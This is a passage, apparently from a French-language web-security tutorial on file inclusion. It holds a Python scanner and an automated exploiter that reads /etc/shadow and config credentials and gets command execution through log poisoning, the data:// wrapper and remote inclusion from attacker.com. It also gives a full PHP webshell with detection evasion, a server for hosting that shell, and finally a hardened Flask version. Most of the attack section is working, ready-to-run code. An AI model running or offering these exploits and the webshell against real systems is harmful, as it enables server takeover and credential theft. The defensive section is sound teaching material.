                # Signatures de logs
                if ('GET' in response.text or 'POST' in response.text) and \
                   ('HTTP/1.1' in response.text or 'Mozilla' in response.text):
                    print(Fore.RED + f"[!] LOG FILE ACCESSIBLE: {log_file}")
                    print(f"    Log poisoning possible!")
                    
                    self.vulnerabilities.append({
                        'type': 'LOG_ACCESS',
                        'payload': log_file,
                        'url': url
                    })
                    return True
                    
            except:
                continue
        
        print(Fore.GREEN + "[+] No log files accessible")
        return False
    
    def test_session_files(self):
        """
        Test accès aux fichiers de session
        """
        print(Fore.YELLOW + "\n[*] Testing session file access...")
        
        # Créer une session pour obtenir session ID
        try:
            resp = self.session.get(self.target_url.split('?')[0])
            
            # Chercher cookie de session
            session_cookie = None
            for cookie in self.session.cookies:
                if cookie.name in ['PHPSESSID', 'session', 'sess']:
                    session_cookie = cookie.value
                    break
            
            if session_cookie:
                session_paths = [
                    f'/tmp/sess_{session_cookie}',
                    f'/var/lib/php/sessions/sess_{session_cookie}',
                    f'../../../../../../tmp/sess_{session_cookie}',
                    f'../../../../../../var/lib/php/sessions/sess_{session_cookie}',
                ]
                
                for path in session_paths:
                    url = f"{self.target_url}?{self.parameter}={quote(path)}"
                    
                    response = self.session.get(url, timeout=5)
                    
                    if 'username|' in response.text or 'user_id|' in response.text:
                        print(Fore.RED + f"[!] SESSION FILE ACCESSIBLE: {path}")
                        print(f"    Session inclusion possible!")
                        
                        self.vulnerabilities.append({
                            'type': 'SESSION_ACCESS',
                            'payload': path,
                            'url': url
                        })
                        return True
        except:
            pass
        
        print(Fore.GREEN + "[+] Session files not accessible")
        return False
    
    def run_full_scan(self):
        """
        Exécuter scan complet
        """
        self.banner()
        
        # Tests
        self.test_lfi_basic()
        self.test_lfi_null_byte()
        self.test_php_wrappers()
        self.test_rfi()
        self.test_log_files()
        self.test_session_files()
        
        # Résumé
        self.print_summary()
    
    def print_summary(self):
        """
        Afficher résumé
        """
        print("\n" + "=" * 80)
        print(Fore.CYAN + "SCAN SUMMARY")
        print("=" * 80)
        
        if self.vulnerabilities:
            print(Fore.RED + f"\n[!] {len(self.vulnerabilities)} VULNERABILITIES FOUND:")
            
            vuln_types = {}
            for vuln in self.vulnerabilities:
                vtype = vuln['type']
                if vtype not in vuln_types:
                    vuln_types[vtype] = []
                vuln_types[vtype].append(vuln)
            
            for vtype, vulns in vuln_types.items():
                print(Fore.YELLOW + f"\n  {vtype}:")
                for vuln in vulns:
                    print(f"    • {vuln['payload']}")
            
            print(Fore.RED + "\n[!] EXPLOITATION IMPACT:")
            
            if any(v['type'] in ['RFI', 'DATA_WRAPPER_RCE', 'PHP_INPUT_RCE'] for v in self.vulnerabilities):
                print("  [ALERTE] CRITICAL: Remote Code Execution possible")
            
            if any(v['type'] == 'LFI' for v in self.vulnerabilities):
                print("  [ATTENTION]  HIGH: Arbitrary file read")
                print("      -> Database credentials")
                print("      -> API keys")
                print("      -> Source code")
            
            if any(v['type'] == 'LOG_ACCESS' for v in self.vulnerabilities):
                print("  [ATTENTION]  HIGH: Log poisoning -> RCE")
            
            if any(v['type'] == 'SESSION_ACCESS' for v in self.vulnerabilities):
                print("  [ATTENTION]  HIGH: Session file inclusion -> RCE")
            
            if any(v['type'] == 'PHP_FILTER' for v in self.vulnerabilities):
                print("  [ATTENTION]  MEDIUM: Source code disclosure")
        else:
            print(Fore.GREEN + "\n[+] NO VULNERABILITIES FOUND")
            print("  Application appears to properly validate file inclusion")

class FileInclusionExploiter:
    """
    Exploitation automatisée
    """
    
    def __init__(self, target_url, parameter='page'):
        self.target_url = target_url
        self.parameter = parameter
        self.session = requests.Session()
    
    def exploit_lfi_read_file(self, file_path):
        """
        Lire un fichier via LFI
        """
        print(Fore.CYAN + f"\n[*] Reading file: {file_path}")
        
        url = f"{self.target_url}?{self.parameter}={quote(file_path)}"
        
        try:
            response = self.session.get(url, timeout=5)
            
            if response.status_code == 200:
                print(Fore.GREEN + "[+] File content:")
                print("-" * 80)
                print(response.text[:1000])
                if len(response.text) > 1000:
                    print(f"... (truncated, total: {len(response.text)} bytes)")
                print("-" * 80)
                return response.text
            else:
                print(Fore.RED + f"[-] Failed: HTTP {response.status_code}")
                
        except Exception as e:
            print(Fore.RED + f"[-] Error: {str(e)}")
        
        return None
    
    def exploit_php_filter_source(self, php_file='index.php'):
        """
        Lire code source PHP via php://filter
        """
        print(Fore.CYAN + f"\n[*] Reading source code: {php_file}")
        
        payload = f'php://filter/convert.base64-encode/resource={php_file}'
        url = f"{self.target_url}?{self.parameter}={quote(payload)}"
        
        try:
            response = self.session.get(url, timeout=5)
            
            # Décoder base64
            try:
                decoded = base64.b64decode(response.text.strip())
                
                print(Fore.GREEN + "[+] Source code:")
                print("-" * 80)
                print(decoded.decode('utf-8', errors='ignore')[:1000])
                print("-" * 80)
                
                return decoded.decode('utf-8', errors='ignore')
            except Exception as e:
                print(Fore.RED + f"[-] Failed to decode: {str(e)}")
                
        except Exception as e:
            print(Fore.RED + f"[-] Error: {str(e)}")
        
        return None
    
    def exploit_log_poisoning(self, log_path='/var/log/apache2/access.log'):
        """
        Log poisoning pour RCE
        """
        print(Fore.CYAN + "\n[*] Attempting log poisoning...")
        
        # Étape 1 : Empoisonner le log
        print(Fore.YELLOW + "[1/3] Poisoning log with PHP code...")
        
        poison_code = '<?php system($_GET["cmd"]); ?>'
        
        try:
            # Envoyer requête avec User-Agent malveilleux
            self.session.get(
                self.target_url.split('?')[0],
                headers={'User-Agent': poison_code},
                timeout=5
            )
            
            print(Fore.GREEN + "[+] Log poisoned")
        except:
            print(Fore.RED + "[-] Failed to poison log")
            return False
        
        # Étape 2 : Inclure le log
        print(Fore.YELLOW + "[2/3] Including log file...")
        
        url = f"{self.target_url}?{self.parameter}={quote(log_path)}"
        
        try:
            response = self.session.get(url, timeout=5)
            
            if poison_code in response.text or '<?php' not in response.text:
                print(Fore.GREEN + "[+] Log included (PHP may be executing)")
            else:
                print(Fore.RED + "[-] Log not accessible")
                return False
                
        except:
            print(Fore.RED + "[-] Failed to include log")
            return False
        
        # Étape 3 : Exécuter commande
        print(Fore.YELLOW + "[3/3] Testing command execution...")
        
        test_url = f"{url}&cmd=whoami"
        
        try:
            response = self.session.get(test_url, timeout=5)
            
            # Chercher output de commande
            lines = response.text.split('\n')
            for line in lines:
                if line.strip() and 'User-Agent' not in line:
                    print(Fore.GREEN + f"[+] Command output: {line.strip()}")
            
            print(Fore.GREEN + "\n[+] RCE ACHIEVED via log poisoning!")
            print(f"    Execute commands: {url}&cmd=<command>")
            
            return True
            
        except:
            print(Fore.RED + "[-] Command execution failed")
            return False
    
    def exploit_data_wrapper_rce(self, command='whoami'):
        """
        RCE via data:// wrapper
        """
        print(Fore.CYAN + f"\n[*] Attempting RCE via data:// wrapper...")
        
        php_code = f'<?php system("{command}"); ?>'
        encoded = base64.b64encode(php_code.encode()).decode()
        
        payload = f'data://text/plain;base64,{encoded}'
        url = f"{self.target_url}?{self.parameter}={quote(payload)}"
        
        try:
            response = self.session.get(url, timeout=5)
            
            print(Fore.GREEN + "[+] Command output:")
            print("-" * 80)
            print(response.text)
            print("-" * 80)
            
            print(Fore.GREEN + "\n[+] RCE ACHIEVED via data:// wrapper!")
            
            return True
            
        except Exception as e:
            print(Fore.RED + f"[-] Error: {str(e)}")
            return False
    
    def exploit_session_inclusion(self, session_id='abc123'):
        """
        Session file inclusion
        """
        print(Fore.CYAN + f"\n[*] Attempting session file inclusion...")
        
        print(Fore.YELLOW + "[1/2] Injecting PHP code in session...")
        
        # Nécessite endpoint pour définir session
        # Pour démo, supposer que c'est fait
        
        print(Fore.YELLOW + "[2/2] Including session file...")
        
        session_paths = [
            f'/tmp/sess_{session_id}',
            f'/var/lib/php/sessions/sess_{session_id}',
            f'../../../../../../tmp/sess_{session_id}',
        ]
        
        for path in session_paths:
            url = f"{self.target_url}?{self.parameter}={quote(path)}"
            
            try:
                response = self.session.get(url, timeout=5)
                
                if response.status_code == 200 and len(response.text) > 0:
                    print(Fore.GREEN + f"[+] Session file found: {path}")
                    print(Fore.GREEN + "[+] Session inclusion possible!")
                    print(f"    Execute: {url}&cmd=<command>")
                    return True
                    
            except:
                continue
        
        print(Fore.RED + "[-] Session file not accessible")
        return False
    
    def exploit_rfi_webshell(self, shell_url='http://attacker.com/shell.php'):
        """
        RFI avec webshell distant
        """
        print(Fore.CYAN + f"\n[*] Attempting RFI with webshell...")
        
        url = f"{self.target_url}?{self.parameter}={quote(shell_url)}"
        
        print(Fore.YELLOW + f"[*] Including remote shell: {shell_url}")
        print(Fore.YELLOW + "[*] Shell should contain: <?php system($_GET['c']); ?>")
        
        try:
            # Tester avec commande
            test_url = f"{url}&c=whoami"
            response = self.session.get(test_url, timeout=10)
            
            if response.status_code == 200:
                print(Fore.GREEN + "[+] Remote shell included!")
                print(Fore.GREEN + "[+] Command output:")
                print(response.text[:500])
                
                print(Fore.GREEN + "\n[+] RCE ACHIEVED via RFI!")
                print(f"    Execute: {url}&c=<command>")
                
                return True
        except Exception as e:
            print(Fore.RED + f"[-] Error: {str(e)}")
        
        return False
    
    def automated_exploitation(self):
        """
        Exploitation automatisée complète
        """
        print("=" * 80)
        print(Fore.CYAN + "AUTOMATED FILE INCLUSION EXPLOITATION")
        print("=" * 80)
        
        # 1. Lire fichiers sensibles
        print(Fore.YELLOW + "\n[PHASE 1] Reading sensitive files...")
        
        sensitive_files = [
            '../../../../etc/passwd',
            '../../../../etc/shadow',
            'config.php',
            '../../../config.php',
            '../../../../var/www/html/config.php',
        ]
        
        for file in sensitive_files:
            content = self.exploit_lfi_read_file(file)
            if content:
                # Extraire credentials
                db_pass = re.search(r'\$db_pass\s*=\s*["\'](.+?)["\']', content)
                api_key = re.search(r'\$api_key\s*=\s*["\'](.+?)["\']', content)
                
                if db_pass or api_key:
                    print(Fore.RED + "\n[!] CREDENTIALS FOUND:")
                    if db_pass:
                        print(f"    DB Password: {db_pass.group(1)}")
                    if api_key:
                        print(f"    API Key: {api_key.group(1)}")
                break
        
        # 2. Lire source code
        print(Fore.YELLOW + "\n[PHASE 2] Reading source code...")
        self.exploit_php_filter_source('index.php')
        
        # 3. Tenter RCE
        print(Fore.YELLOW + "\n[PHASE 3] Attempting RCE...")
        
        # Essayer data://
        if self.exploit_data_wrapper_rce('id'):
            print(Fore.GREEN + "\n[+] Full RCE achieved!")
            return
        
        # Essayer log poisoning
        if self.exploit_log_poisoning():
            print(Fore.GREEN + "\n[+] Full RCE achieved!")
            return
        
        print(Fore.YELLOW + "\n[-] RCE not achieved with current methods")

if __name__ == '__main__':
    print("""
    ╔════════════════════════════════════════════════════════════════╗
    ║       FILE INCLUSION VULNERABILITY TESTING TOOL                ║
    ║                                                                ║
    ║  Scans for and exploits LFI/RFI vulnerabilities                ║
    ║                                                                ║
    ║  [ATTENTION]  FOR EDUCATIONAL PURPOSES ONLY                            ║
    ╚════════════════════════════════════════════════════════════════╝
    """)
    
    if len(sys.argv) < 3:
        print("Usage:")
        print("  python exploit_file_inclusion.py scan <url> [param]")
        print("  python exploit_file_inclusion.py exploit <url> [param]")
        print("  python exploit_file_inclusion.py read <url> <file> [param]")
        print("\nExamples:")
        print("  python exploit_file_inclusion.py scan http://localhost:5000/view page")
        print("  python exploit_file_inclusion.py exploit http://localhost:5000/view page")
        print("  python exploit_file_inclusion.py read http://localhost:5000/view /etc/passwd page")
        sys.exit(1)
    
    command = sys.argv[1]
    target_url = sys.argv[2]
    
    if command == 'scan':
        param = sys.argv[3] if len(sys.argv) > 3 else 'page'
        scanner = FileInclusionScanner(target_url, param)
        scanner.run_full_scan()
    
    elif command == 'exploit':
        param = sys.argv[3] if len(sys.argv) > 3 else 'page'
        exploiter = FileInclusionExploiter(target_url, param)
        exploiter.automated_exploitation()
    
    elif command == 'read':
        if len(sys.argv) < 4:
            print("Error: file path required")
            sys.exit(1)
        
        file_path = sys.argv[3]
        param = sys.argv[4] if len(sys.argv) > 4 else 'page'
        
        exploiter = FileInclusionExploiter(target_url, param)
        exploiter.exploit_lfi_read_file(file_path)
    
    else:
        print(f"Unknown command: {command}")
        sys.exit(1)
```

---

**2. Webshell distant pour RFI :**

```php
<!-- shell.php -->
<!-- À héberger sur serveur attaquant pour RFI -->
<?php
/**
 * Simple PHP Webshell for RFI exploitation
 * Usage: http://target.com/page?include=http://attacker.com/shell.php&cmd=whoami
 */

// Éviter détection basique
error_reporting(0);
@ini_set('display_errors', 0);

// Récupérer commande
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : (isset($_POST['cmd']) ? $_POST['cmd'] : '');

if (!empty($cmd)) {
    // Méthode 1 : system()
    if (function_exists('system')) {
        echo "<pre>";
        system($cmd);
        echo "</pre>";
        exit;
    }
    
    // Méthode 2 : exec()
    if (function_exists('exec')) {
        $output = array();
        exec($cmd, $output);
        echo "<pre>" . implode("\n", $output) . "</pre>";
        exit;
    }
    
    // Méthode 3 : shell_exec()
    if (function_exists('shell_exec')) {
        echo "<pre>" . shell_exec($cmd) . "</pre>";
        exit;
    }
    
    // Méthode 4 : passthru()
    if (function_exists('passthru')) {
        echo "<pre>";
        passthru($cmd);
        echo "</pre>";
        exit;
    }
    
    // Méthode 5 : popen()
    if (function_exists('popen')) {
        $handle = popen($cmd, 'r');
        echo "<pre>";
        while (!feof($handle)) {
            echo fread($handle, 4096);
        }
        pclose($handle);
        echo "</pre>";
        exit;
    }
    
    echo "All execution functions disabled";
} else {
    // Interface web si pas de commande
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Web Shell</title>
        <style>
            body { font-family: monospace; background: #1a1a1a; color: #0f0; padding: 20px; }
            input, textarea { background: #000; color: #0f0; border: 1px solid #0f0; padding: 10px; width: 100%; }
            button { background: #0f0; color: #000; border: none; padding: 10px 20px; cursor: pointer; }
            pre { background: #000; padding: 10px; border: 1px solid #0f0; max-height: 500px; overflow-y: auto; }
        </style>
    </head>
    <body>
        <h1>Remote Shell</h1>
        <form method="GET">
            <input type="text" name="cmd" placeholder="Enter command..." autofocus>
            <button type="submit">Execute</button>
        </form>
        
        <h3>Quick Commands:</h3>
        <ul>
            <li><a href="?cmd=whoami" style="color: #0f0;">whoami</a></li>
            <li><a href="?cmd=id" style="color: #0f0;">id</a></li>
            <li><a href="?cmd=pwd" style="color: #0f0;">pwd</a></li>
            <li><a href="?cmd=ls -la" style="color: #0f0;">ls -la</a></li>
            <li><a href="?cmd=cat /etc/passwd" style="color: #0f0;">cat /etc/passwd</a></li>
            <li><a href="?cmd=uname -a" style="color: #0f0;">uname -a</a></li>
        </ul>
        
        <h3>System Information:</h3>
        <pre><?php
            echo "PHP Version: " . phpversion() . "\n";
            echo "OS: " . PHP_OS . "\n";
            echo "Current User: " . get_current_user() . "\n";
            echo "Server Software: " . $_SERVER['SERVER_SOFTWARE'] . "\n";
            echo "Document Root: " . $_SERVER['DOCUMENT_ROOT'] . "\n";
            echo "Disabled Functions: " . ini_get('disable_functions') . "\n";
        ?></pre>
    </body>
    </html>
    <?php
}
?>
```

---

**3. Shell Python minimaliste pour hébergement :**

```python
# serve_shell.py
"""
Serveur HTTP simple pour héberger webshell (RFI)
"""

from http.server import HTTPServer, SimpleHTTPRequestHandler
import sys

class ShellHandler(SimpleHTTPRequestHandler):
    """Handler custom avec logs"""
    
    def log_message(self, format, *args):
        """Logger les accès"""
        print(f"[REQUEST] {self.address_string()} - {format % args}")

def serve_shell(port=8000):
    """
    Héberger shell.php pour RFI
    """
    print(f"""
    ╔════════════════════════════════════════════════════════════════╗
    ║              WEBSHELL HTTP SERVER FOR RFI                      ║
    ╚════════════════════════════════════════════════════════════════╝
    
    Server running on: http://0.0.0.0:{port}
    
    Shell URL: http://<your-ip>:{port}/shell.php
    
    Usage in RFI:
      http://target.com/page?include=http://<your-ip>:{port}/shell.php&cmd=whoami
    
    Press Ctrl+C to stop...
    """)
    
    server = HTTPServer(('0.0.0.0', port), ShellHandler)
    
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] Server stopped")
        server.shutdown()

if __name__ == '__main__':
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 8000
    serve_shell(port)
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# file_inclusion_secure.py
from flask import Flask, request, render_template, abort, send_from_directory
import os
import secrets
import logging
from werkzeug.utils import secure_filename
import magic  # python-magic pour détection type MIME
import hashlib

app = Flask(__name__)
app.secret_key = secrets.token_hex(32)

# [OK] Configuration sécurisée
PAGES_DIR = os.path.abspath('pages_secure')
ALLOWED_PAGES = {
    'home': 'home.html',
    'about': 'about.html',
    'contact': 'contact.html',
    'services': 'services.html'
}

UPLOAD_DIR = os.path.abspath('uploads_secure')
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'}
MAX_FILE_SIZE = 5 * 1024 * 1024  # 5MB

# [OK] Logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

# Créer répertoires
for directory in [PAGES_DIR, UPLOAD_DIR]:
    os.makedirs(directory, exist_ok=True)

def init_pages():
    """Créer pages exemple"""
    pages = {
        'home.html': '<h1>Welcome Home</h1><p>This is the homepage.</p>',
        'about.html': '<h1>About Us</h1><p>Learn more about our company.</p>',
        'contact.html': '<h1>Contact</h1><p>Get in touch with us.</p>',
        'services.html': '<h1>Services</h1><p>Our services and offerings.</p>'
    }
    
    for filename, content in pages.items():
        filepath = os.path.join(PAGES_DIR, filename)
        with open(filepath, 'w') as f:
            f.write(content)

init_pages()

# [OK] CLASSE : Path Validator
class PathValidator:
    """
    [OK] Validation stricte des chemins de fichiers
    """
    
    @staticmethod
    def is_safe_path(base_dir, path):
        """
        Vérifier si le chemin est sûr (pas de path traversal)
        """
        # Résoudre le chemin absolu
        base_dir = os.path.abspath(base_dir)
        requested_path = os.path.abspath(os.path.join(base_dir, path))
        
        # [OK] Vérifier que le chemin reste dans base_dir
        if not requested_path.startswith(base_dir):
            logger.warning(f"Path traversal attempt blocked: {path}")
            return False
        
        # [OK] Vérifier que le fichier existe
        if not os.path.exists(requested_path):
            logger.warning(f"Non-existent file requested: {path}")
            return False
        
        # [OK] Vérifier que c'est un fichier (pas un directory)
        if not os.path.isfile(requested_path):
            logger.warning(f"Directory access attempt blocked: {path}")
            return False
        
        return True
    
    @staticmethod
    def sanitize_filename(filename):
        """
        [OK] Nettoyer nom de fichier
        """
        # Utiliser secure_filename de Werkzeug
        clean = secure_filename(filename)
        
        # [OK] Supprimer extension si dangereuse
        dangerous_extensions = [
            '.php', '.phtml', '.php3', '.php4', '.php5',
            '.sh', '.bash', '.cgi', '.pl', '.py',
            '.exe', '.bat', '.cmd', '.com'
        ]
        
        for ext in dangerous_extensions:
            if clean.lower().endswith(ext):
                clean = clean[:-len(ext)] + '.txt'
                logger.warning(f"Dangerous extension converted: {filename} -> {clean}")
        
        return clean
    
    @staticmethod
    def validate_file_content(filepath):
        """
        [OK] Valider contenu du fichier
        """
        try:
            # Détecter type MIME réel
            mime = magic.Magic(mime=True)
            file_type = mime.from_file(filepath)
            
            # [OK] Whitelist de types MIME autorisés
            allowed_mimes = [
                'text/plain',
                'application/pdf',
                'image/png',
                'image/jpeg',
                'image/gif'
            ]
            
            if file_type not in allowed_mimes:
                logger.warning(f"Invalid MIME type: {file_type} for {filepath}")
                return False
            
            return True
            
        except Exception as e:
            logger.error(f"File validation error: {str(e)}")
            return False

# [OK] ROUTES SÉCURISÉES

@app.route('/')
def index():
    return render_template('index_secure.html', pages=ALLOWED_PAGES)

@app.route('/view')
def view_page():
    """
    [OK] SÉCURISÉ : Whitelist stricte de pages
    """
    page_name = request.args.get('page', 'home')
    
    # [OK] Vérifier contre whitelist
    if page_name not in ALLOWED_PAGES:
        logger.warning(f"Unauthorized page requested: {page_name}")
        abort(403, "Page not allowed")
    
    # [OK] Obtenir nom de fichier depuis whitelist
    filename = ALLOWED_PAGES[page_name]
    filepath = os.path.join(PAGES_DIR, filename)
    
    # [OK] Double validation du chemin
    if not PathValidator.is_safe_path(PAGES_DIR, filename):
        logger.error(f"Path validation failed for: {filename}")
        abort(403, "Invalid path")
    
    # [OK] Lire et retourner contenu
    try:
        with open(filepath, 'r') as f:
            content = f.read()
        
        logger.info(f"Page viewed: {page_name} by {request.remote_addr}")
        
        return render_template('page_wrapper.html', content=content, page_name=page_name)
        
    except Exception as e:
        logger.error(f"Error reading page: {str(e)}")
        abort(500, "Error loading page")

@app.route('/template')
def load_template():
    """
    [OK] SÉCURISÉ : RFI complètement désactivé
    """
    # [OK] Ne jamais accepter URLs externes
    logger.warning(f"Template loading attempted from {request.remote_addr}")
    abort(403, "Remote template loading is disabled")

@app.route('/download')
def download_file():
    """
    [OK] SÉCURISÉ : Téléchargement avec validation
    """
    filename = request.args.get('file', '')
    
    # [OK] Nettoyer le nom
    clean_filename = PathValidator.sanitize_filename(filename)
    
    # [OK] Vérifier path
    if not PathValidator.is_safe_path(PAGES_DIR, clean_filename):
        logger.warning(f"Download attempt blocked: {filename}")
        abort(403, "Access denied")
    
    # [OK] Utiliser send_from_directory (sécurisé par Flask)
    try:
        logger.info(f"File downloaded: {clean_filename} by {request.remote_addr}")
        return send_from_directory(PAGES_DIR, clean_filename, as_attachment=True)
    except Exception as e:
        logger.error(f"Download error: {str(e)}")
        abort(404, "File not found")

@app.route('/upload', methods=['POST'])
def upload_file():
    """
    [OK] SÉCURISÉ : Upload avec validation complète
    """
    if 'file' not in request.files:
        return {'error': 'No file provided'}, 400
    
    file = request.files['file']
    
    if file.filename == '':
        return {'error': 'Empty filename'}, 400
    
    # [OK] Nettoyer nom de fichier
    filename = PathValidator.sanitize_filename(file.filename)
    
    # [OK] Vérifier extension
    ext = filename.rsplit('.', 1)[1].lower() if '.' in filename else ''
    
    if ext not in ALLOWED_EXTENSIONS:
        logger.warning(f"Invalid extension upload attempt: {ext}")
        return {'error': f'Extension not allowed. Allowed: {ALLOWED_EXTENSIONS}'}, 400
    
    # [OK] Générer nom unique
    unique_filename = f"{secrets.token_hex(8)}_{filename}"
    filepath = os.path.join(UPLOAD_DIR, unique_filename)
    
    # [OK] Sauvegarder temporairement
    file.save(filepath)
    
    # [OK] Valider contenu
    if not PathValidator.validate_file_content(filepath):
        os.remove(filepath)
        logger.warning(f"Invalid file content: {filename}")
        return {'error': 'Invalid file content'}, 400
    
    # [OK] Vérifier taille
    file_size = os.path.getsize(filepath)
    if file_size > MAX_FILE_SIZE:
        os.remove(filepath)
        logger.warning(f"File too large: {file_size} bytes")
        return {'error': f'File too large. Max: {MAX_FILE_SIZE} bytes'}, 400
    
    logger.info(f"File uploaded: {unique_filename} by {request.remote_addr}")
    
    return {
        'success': True,
        'filename': unique_filename,
        'size': file_size
    }

@app.route('/view-log')
def view_log():
    """
    [OK] SÉCURISÉ : Logs pas exposés
    """
    logger.warning(f"Log access attempt from {request.remote_addr}")
    abort(403, "Log access is disabled")

@app.route('/security')
def security_info():
    """Documentation sécurité"""
    return {
        'file_inclusion_protection': {
            'status': 'enabled',
            'features': [
                'Whitelist-based page access',
                'No remote file inclusion (RFI disabled)',
                'Path traversal prevention',
                'Filename sanitization',
                'File content validation (MIME type)',
                'File size limits',
                'Dangerous extension blocking',
                'No log file exposure',
                'Comprehensive security logging'
            ],
            'allowed_pages': list(ALLOWED_PAGES.keys()),
            'allowed_upload_extensions': list(ALLOWED_EXTENSIONS),
            'max_upload_size': f'{MAX_FILE_SIZE / 1024 / 1024}MB'
        }
    }

if __name__ == '__main__':
    print("[SECURITE]  Secure CMS Platform sur http://localhost:5001")
    print("[OK] Protections File Inclusion actives :")
    print("   1. Whitelist stricte des pages autorisées")
    print("   2. Path traversal prevention (os.path.abspath)")
    print("   3. RFI complètement désactivé")
    print("   4. Filename sanitization (secure_filename)")
    print("   5. Extension whitelist pour uploads")
    print("   6. MIME type validation (python-magic)")
    print("   7. File size limits")
    print("   8. No PHP/executable uploads")
    print("   9. Unique filenames (token_hex)")
    print("  10. Comprehensive security logging")
    print(f"\n[LISTE] Pages autorisées : {list(ALLOWED_PAGES.keys())}")
    
    app.run(debug=False, port=5001)
```

---

**Continuer avec les TESTS UNITAIRES et la CHECKLIST FINALE ?** [OBJECTIF]